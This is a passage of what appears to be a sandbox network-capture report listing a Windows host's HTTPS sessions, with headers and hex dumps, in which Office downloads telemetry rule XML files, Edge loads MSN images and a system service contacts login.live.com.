2024-11-12 03:16:38 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:38 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:38 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: ff96e4fc-901e-00ac-66a2-34b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031638Z-15869dbbcc6tfpj2hC1DFW384c00000008zg0000000014y8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:38 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:38 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 9ec2e68b-201e-0096-6cd2-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031638Z-16547b76f7fj5p7mhC1DFWf8w40000000f60000000009s7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:38 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:38 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:38 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: b366bed9-101e-008d-7ca3-3492e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031638Z-15869dbbcc6tjwwhhC1DFWn22800000008g0000000003un1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:38 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	49912	23.47.50.115	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:39 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:39 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 10 Nov 2024 13:37:27 GMT X-Datacenter: eastus X-ActivityId: 646f7dcc-ee57-4b8a-81bd-4a4fe061e30b Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 62552 Content-Length: 8192 Cache-Control: public, max-age=296418 Expires: Fri, 15 Nov 2024 13:36:57 GMT Date: Tue, 12 Nov 2024 03:16:39 GMT Connection: close
2024-11-12 03:16:39 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:39 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:39 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:39 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 8a5e2199-d01e-0014-3f2b-2ced58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031639Z-16547b76f7f4k79zhC1DFWu9y00000000f0000000000q1wm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:39 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:39 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:39 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 229e582e-901e-0083-26d2-2cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031639Z-16547b76f7fcjqqhhC1DFWrrrc0000000ex000000000sw1d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:39 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:39 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:39 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c3d6966f-401e-0016-3ad8-2b53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031639Z-16547b76f7fkcrm9hC1DFWxdag0000000f5g00000000abw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:39 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:39 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:39 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:39 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: d5f81cfa-001e-0017-1dd2-2c0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031639Z-16547b76f7fnlcwwhC1DFWz6gw0000000f2000000000qqr3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:39 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:39 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:39 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:39 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: f61ab913-a01e-006f-21a0-3413cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031639Z-15869dbbcc6vr5dxhC1DFWyw4g000000017g000000002mfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:39 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	49919	23.47.50.115	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:39 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:40 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 03 Nov 2024 13:30:12 GMT X-Datacenter: northeu X-ActivityId: 7f006101-ea16-4553-afba-408982c6df36 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 95457 Content-Length: 8192 Cache-Control: public, max-age=79989 Expires: Wed, 13 Nov 2024 01:29:49 GMT Date: Tue, 12 Nov 2024 03:16:40 GMT Connection: close
2024-11-12 03:16:40 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	49918	20.190.159.0	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-12 03:16:40 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 03:16:40 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 03:15:40 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 2cb4e8fa-83fc-440e-b594-bbb66c461356 PPServer: PPV: 30 H: PH1PEPF0001B74E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 03:16:40 GMT Connection: close Content-Length: 1918
2024-11-12 03:16:40 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

